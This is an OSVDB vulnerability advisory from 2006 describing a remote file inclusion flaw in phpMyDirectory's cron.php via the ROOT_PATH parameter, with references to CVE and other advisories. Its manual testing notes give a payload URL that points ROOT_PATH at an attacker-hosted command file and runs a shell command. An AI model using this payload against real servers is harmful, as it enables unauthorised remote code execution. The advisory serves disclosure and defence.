phpMyDirectory cron.php ROOT_PATH Variable Remote File Inclusion

2006-05-19T10:32:34
ID OSVDB:25698
Type osvdb
Reporter OLiBekaS()
Modified 2006-05-19T10:32:34

Description

Vulnerability Description

phpMyDirectory contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to cron.php not properly sanitizing user input supplied to the "ROOT_PATH" variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

phpMyDirectory contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to cron.php not properly sanitizing user input supplied to the "ROOT_PATH" variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/cron.php?ROOT_PATH=http://[attacker]/cmd.txt?&cmd=ls

References:

Vendor URL: http://www.phpmydirectory.com/ Secunia Advisory ID:20209 Generic Exploit URL: http://milw0rm.com/exploits/1808 FrSIRT Advisory: ADV-2006-1896 CVE-2006-2521